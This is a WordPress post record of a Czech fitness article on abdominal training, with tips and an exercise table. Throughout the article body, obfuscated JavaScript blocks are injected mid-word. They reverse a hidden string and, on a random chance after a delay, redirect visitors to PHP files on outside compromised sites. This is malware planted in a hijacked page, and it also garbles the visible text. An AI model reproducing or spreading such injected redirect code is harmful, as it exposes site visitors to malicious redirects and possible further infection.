{"id":140,"date":"2019-06-15T09:07:07","date_gmt":"2019-06-15T09:07:07","guid":{"rendered":"http:\/\/www.svetkulturistiky.cz\/?p=140"},"modified":"2019-06-15T09:07:07","modified_gmt":"2019-06-15T09:07:07","slug":"trenink-bricha-nejen-pro-zacatecniky","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2019\/06\/15\/trenink-bricha-nejen-pro-zacatecniky\/","title":{"rendered":"TR\u00c9NINK B\u0158ICHA  (nejen) PRO ZA\u010c\u00c1TE\u010cN\u00cdKY"},"content":{"rendered":"<p><strong>Jak nejl\u00e9pe procvi\u010dit b\u0159i\u0161n\u00ed svaly? Dr\u017ete se n\u00e1sleduj\u00edc\u00edch rad a vyzkou\u0161ejte n\u00e1\u0161 letn\u00ed tr\u00e9nink.\u00a0<\/strong><\/p>\n<p>N\u011bkdy se stane, \u017ee pro les nevid\u00edme stromy. Alespo\u0148 se <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to tak \u0159\u00edk\u00e1. Ale nastanou i situace, kdy v\u00e1m nadhled umo\u017en\u00ed se zorien<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovat a naj\u00edt tu spr\u00e1vnou cestu. V\u00a0p\u0159\u00edpad\u011b tr\u00e9ninku b\u0159i\u0161n\u00edho svalstva je rozhodn\u011b dobr\u00e9 pod\u00edvat se na celou problematiku tak trochu z\u00a0vrchu, pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to\u017ee se t\u00edm sn\u00e1ze nasm\u011brujete a zvol\u00edte vhodn\u00fd p\u0159\u00edstup. Dr\u017ete se pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to n\u00e1sleduj\u00edc\u00edch z\u00e1kladn\u00edch rad, d\u00edky nim\u017e budete na z\u00e1v\u011br sv\u00e9ho sna\u017een\u00ed odm\u011bn\u011bni skv\u011ble vytvarovan\u00fdmi b\u0159i\u0161n\u00edmi svaly.<\/p>\n<p><strong>1. B\u0159icho v\u017edy cvi\u010dte jako posledn\u00ed. <\/strong><\/p>\n<p>Nen\u00ed dobr\u00e9 vy\u010derpat b\u0159i\u0161n\u00ed svaly p\u0159ed tr\u00e9ninkem jin\u00fdch svalov\u00fdch parti\u00ed, nap\u0159\u00edklad zad \u010di nohou. Pot\u0159ebujete m\u00edt <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e b\u0159icho i trup dostate\u010dn\u011b p\u0159i s\u00edle, abyste udr\u017eeli pot\u0159ebn\u00fd nitrob\u0159i\u0161n\u00ed tlak nezbytn\u00fd pro ochranu p\u00e1te\u0159e. B\u0159i\u0161n\u00ed svaly pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to cvi\u010dte a\u017e jako posledn\u00ed, p\u0159\u00edpadn\u011b ve dnech, kdy nebudete za\u0159azovat tr\u00e9nink na v\u011bt\u0161\u00ed svalovou partii.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-142 alignleft\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/06\/Bricho1-200x300.jpg\" alt=\"\" width=\"200\" height=\"300\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/06\/Bricho1-200x300.jpg 200w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/06\/Bricho1.jpg 640w\" sizes=\"auto, (max-width: 200px) 100vw, 200px\" \/><\/p>\n<p>2.\u00a0<strong>Za\u010dn\u011bte <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou nejslab\u0161\u00ed parti\u00ed.<\/strong><\/p>\n<p>V\u011bt\u0161ina z\u00a0v\u00e1s m\u00e1 jist\u011b nejslab\u0161\u00ed doln\u00ed partii b\u0159icha. Pr\u00e1v\u011b zde byste tedy m\u011bli sv\u016fj tr\u00e9nink zah\u00e1jit. Je d\u016fle\u017eit\u00e9 vy\u010derpat nejd\u0159\u00edve tu nejslab\u0161\u00ed \u010d\u00e1st, dokud maj\u00ed svaly je\u0161t\u011b dostatek sil. Teprve po<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom se m\u016f\u017eete zam\u011b\u0159it na zdatn\u011bj\u0161\u00ed \u010d\u00e1sti b\u0159i\u0161n\u00edho svalstva (horn\u00ed partie).<\/p>\n<p><strong>3. Cviky prov\u00e1d\u011bn\u00e9 s\u00a0vlastn\u00ed v\u00e1hou t\u011bla je\u010fte do vy\u010derp\u00e1n\u00ed.<\/strong><\/p>\n<p>Vyu\u017eit\u00ed vlastn\u00ed v\u00e1hy t\u011bla jako z\u00e1t\u011b\u017ee v\u00e1m pom\u016f\u017ee k\u00a0ploch\u00e9mu, pevn\u00e9mu b\u0159ichu, p\u0159i\u010dem\u017e bude sou\u010dasn\u011b v\u00e1\u0161 pas vypadat \u0161t\u00edhlej\u0161\u00ed. Nekon\u010dete ale cvi\u010den\u00ed pouze u p\u0159edepsan\u00e9ho po\u010dtu opakov\u00e1n\u00ed, pokud jste je\u0161t\u011b schopn\u00ed pokra\u010dovat. Cviky s\u00a0v\u00e1hou vlastn\u00edho t\u011bla prov\u00e1d\u011bjte do vy\u010derp\u00e1n\u00ed \u2013 tzn. tak, \u017ee u\u017e n\u00e1sledn\u011b nejste schopn\u00ed prov\u00e9st \u017e\u00e1dn\u00e9 dal\u0161\u00ed opakov\u00e1n\u00ed. U cviku s\u00a0kladkou se sna\u017ete nastavit z\u00e1t\u011b\u017e tak, abyste dos\u00e1hli vy\u010derp\u00e1n\u00ed p\u0159i p\u0159edepsan\u00e9m po\u010dtu opakov\u00e1n\u00ed. Jestli\u017ee se v\u00e1m <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to v\u00a0jedn\u00e9 s\u00e9rii nepovede, p\u0159i t\u00e9 dal\u0161\u00ed u\u017e z\u00e1t\u011b\u017e upravte.<\/p>\n<p><strong>4. Ten<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to tr\u00e9nink za\u0159azujte 3-4kr\u00e1t t\u00fddn\u011b.<\/strong><\/p>\n<p>B\u0159icho pat\u0159\u00ed ke sval\u016fm, kter\u00e9 se pod\u00edl\u00ed na spr\u00e1vn\u00e9m dr\u017een\u00ed t\u011bla, jde tedy o svaly zvykl\u00e9 b\u00fdt dlouho zatnut\u00e9, nebo\u0165 slou\u017e\u00ed jako opora p\u00e1te\u0159e. <img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-143 alignright\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/06\/Bricho3-300x200.jpg\" alt=\"\" width=\"300\" height=\"200\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/06\/Bricho3-300x200.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/06\/Bricho3.jpg 640w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>Nav\u00edc jsou z\u00a0v\u011bt\u0161\u00ed \u010d\u00e1sti tvo\u0159eny pomal\u00fdmi svalov\u00fdmi vl\u00e1kny, kter\u00e1 vy\u017eaduj\u00ed pravideln\u011bj\u0161\u00ed tr\u00e9nink, aby bylo dosa\u017eeno jejich adekv\u00e1tn\u00ed stimulace.<\/p>\n<p><strong>5. Nezapom\u00ednejte, jak je d\u016fle\u017eit\u00e9 db\u00e1t, aby byla vrstva podko\u017en\u00edho tuku na b\u0159i\u0161e co nejmen\u0161\u00ed.<\/strong><\/p>\n<p>Abyste se mohli pochlubit kvalitn\u00edm b\u0159i\u0161n\u00edm svalstvem, nesm\u00edte zapom\u00ednat na spr\u00e1vnou dietu a pravideln\u00fd aerobn\u00ed tr\u00e9nink, kter\u00fd napom\u00e1h\u00e1 odbour\u00e1v\u00e1n\u00ed tuk\u016f.<\/p>\n<p>&nbsp;<\/p>\n<h1>Kompletn\u00ed tr\u00e9nink b\u0159icha<\/h1>\n<h1><\/h1>\n<table>\n<tbody>\n<tr>\n<td width=\"253\">CVIK<\/td>\n<td width=\"142\">ZAM\u011a\u0158EN\u00dd<\/td>\n<td width=\"66\">S\u00c9RIE<\/td>\n<td width=\"154\">OPAKOV\u00c1N\u00cd<\/td>\n<\/tr>\n<tr>\n<td width=\"253\">Zdvihy nohou ve visu<\/td>\n<td width=\"142\">Doln\u00ed partie b\u0159icha<\/td>\n<td width=\"66\">3<\/td>\n<td width=\"154\">Do vy\u010derp\u00e1n\u00ed<\/td>\n<\/tr>\n<tr>\n<td width=\"253\">Zkracova\u010dky s\u00a0kladkou vkle\u010de s\u00a0vy<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to\u010den\u00edm<\/td>\n<td width=\"142\">\u0160ikm\u00e9 b\u0159i\u0161n\u00ed svaly<\/td>\n<td width=\"66\">3<\/td>\n<td width=\"154\">15 (na ka\u017edou stranu)<\/td>\n<\/tr>\n<tr>\n<td width=\"253\">Zkracova\u010dky s\u00a0kladkou vkle\u010de<\/td>\n<td width=\"142\">Horn\u00ed partie b\u0159icha<\/td>\n<td width=\"66\">3<\/td>\n<td width=\"154\">15<\/td>\n<\/tr>\n<tr>\n<td width=\"253\">Zkracova\u010dky na lavi\u010dce hlavou dol\u016f<\/td>\n<td width=\"142\">Horn\u00ed partie b\u0159icha<\/td>\n<td width=\"66\">3<\/td>\n<td width=\"154\">Do vy\u010derp\u00e1n\u00ed<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Jak nejl\u00e9pe procvi\u010dit b\u0159i\u0161n\u00ed svaly? Dr\u017ete se n\u00e1sleduj\u00edc\u00edch rad a vyzkou\u0161ejte n\u00e1\u0161 letn\u00ed tr\u00e9nink.\u00a0 N\u011bkdy se stane, \u017ee pro les nevid\u00edme stromy. Alespo\u0148 se to tak \u0159\u00edk\u00e1. Ale nastanou i situace, kdy v\u00e1m nadhled umo\u017en\u00ed se zorientovat a naj\u00edt tu spr\u00e1vnou cestu. V\u00a0p\u0159\u00edpad\u011b tr\u00e9ninku b\u0159i\u0161n\u00edho svalstva je rozhodn\u011b dobr\u00e9 pod\u00edvat se na celou problematiku tak trochu z\u00a0vrchu, proto\u017ee se t\u00edm sn\u00e1ze nasm\u011brujete a zvol\u00edte vhodn\u00fd p\u0159\u00edstup. Dr\u017ete se proto n\u00e1sleduj\u00edc\u00edch z\u00e1kladn\u00edch rad, d\u00edky nim\u017e budete na z\u00e1v\u011br sv\u00e9ho sna\u017een\u00ed odm\u011bn\u011bni skv\u011ble vytvarovan\u00fdmi b\u0159i\u0161n\u00edmi svaly. 1. B\u0159icho v\u017edy cvi\u010dte jako posledn\u00ed. Nen\u00ed dobr\u00e9 vy\u010derpat b\u0159i\u0161n\u00ed svaly p\u0159ed tr\u00e9ninkem jin\u00fdch svalov\u00fdch parti\u00ed, nap\u0159\u00edklad zad \u010di nohou. Pot\u0159ebujete m\u00edt toti\u017e b\u0159icho i trup dostate\u010dn\u011b p\u0159i s\u00edle, abyste udr\u017eeli pot\u0159ebn\u00fd nitrob\u0159i\u0161n\u00ed tlak nezbytn\u00fd pro ochranu p\u00e1te\u0159e. B\u0159i\u0161n\u00ed svaly proto cvi\u010dte a\u017e jako posledn\u00ed, p\u0159\u00edpadn\u011b ve dnech, kdy nebudete za\u0159azovat tr\u00e9nink na v\u011bt\u0161\u00ed svalovou partii. 2.\u00a0Za\u010dn\u011bte tou nejslab\u0161\u00ed parti\u00ed. V\u011bt\u0161ina z\u00a0v\u00e1s m\u00e1 jist\u011b nejslab\u0161\u00ed doln\u00ed partii b\u0159icha. Pr\u00e1v\u011b zde byste tedy m\u011bli sv\u016fj tr\u00e9nink zah\u00e1jit. Je d\u016fle\u017eit\u00e9 vy\u010derpat nejd\u0159\u00edve tu nejslab\u0161\u00ed \u010d\u00e1st, dokud maj\u00ed svaly je\u0161t\u011b dostatek sil. Teprve potom se m\u016f\u017eete zam\u011b\u0159it na zdatn\u011bj\u0161\u00ed \u010d\u00e1sti b\u0159i\u0161n\u00edho svalstva (horn\u00ed partie). 3. Cviky prov\u00e1d\u011bn\u00e9 s\u00a0vlastn\u00ed v\u00e1hou t\u011bla je\u010fte do vy\u010derp\u00e1n\u00ed. Vyu\u017eit\u00ed vlastn\u00ed v\u00e1hy t\u011bla jako z\u00e1t\u011b\u017ee v\u00e1m pom\u016f\u017ee k\u00a0ploch\u00e9mu, pevn\u00e9mu b\u0159ichu, p\u0159i\u010dem\u017e bude sou\u010dasn\u011b v\u00e1\u0161 pas vypadat \u0161t\u00edhlej\u0161\u00ed. Nekon\u010dete ale cvi\u010den\u00ed pouze u p\u0159edepsan\u00e9ho po\u010dtu opakov\u00e1n\u00ed, pokud jste je\u0161t\u011b schopn\u00ed pokra\u010dovat. Cviky s\u00a0v\u00e1hou vlastn\u00edho t\u011bla prov\u00e1d\u011bjte do vy\u010derp\u00e1n\u00ed \u2013 tzn. tak, \u017ee u\u017e n\u00e1sledn\u011b nejste schopn\u00ed prov\u00e9st \u017e\u00e1dn\u00e9 dal\u0161\u00ed opakov\u00e1n\u00ed. U cviku s\u00a0kladkou se sna\u017ete nastavit z\u00e1t\u011b\u017e tak, abyste dos\u00e1hli vy\u010derp\u00e1n\u00ed p\u0159i p\u0159edepsan\u00e9m po\u010dtu opakov\u00e1n\u00ed. Jestli\u017ee se v\u00e1m to v\u00a0jedn\u00e9 s\u00e9rii nepovede, p\u0159i t\u00e9 dal\u0161\u00ed u\u017e z\u00e1t\u011b\u017e upravte. 4. Tento tr\u00e9nink za\u0159azujte 3-4kr\u00e1t t\u00fddn\u011b. B\u0159icho pat\u0159\u00ed ke sval\u016fm, kter\u00e9 se pod\u00edl\u00ed na spr\u00e1vn\u00e9m dr\u017een\u00ed t\u011bla, jde tedy o svaly zvykl\u00e9 b\u00fdt dlouho zatnut\u00e9, nebo\u0165 slou\u017e\u00ed jako opora p\u00e1te\u0159e. Nav\u00edc jsou z\u00a0v\u011bt\u0161\u00ed \u010d\u00e1sti tvo\u0159eny pomal\u00fdmi svalov\u00fdmi vl\u00e1kny, kter\u00e1 vy\u017eaduj\u00ed pravideln\u011bj\u0161\u00ed tr\u00e9nink, aby bylo dosa\u017eeno jejich adekv\u00e1tn\u00ed stimulace. 5. Nezapom\u00ednejte, jak je d\u016fle\u017eit\u00e9 db\u00e1t, aby byla vrstva podko\u017en\u00edho tuku na b\u0159i\u0161e co nejmen\u0161\u00ed. Abyste se mohli pochlubit kvalitn\u00edm b\u0159i\u0161n\u00edm svalstvem, nesm\u00edte zapom\u00ednat na spr\u00e1vnou dietu a pravideln\u00fd aerobn\u00ed tr\u00e9nink, kter\u00fd napom\u00e1h\u00e1 odbour\u00e1v\u00e1n\u00ed tuk\u016f. &nbsp; 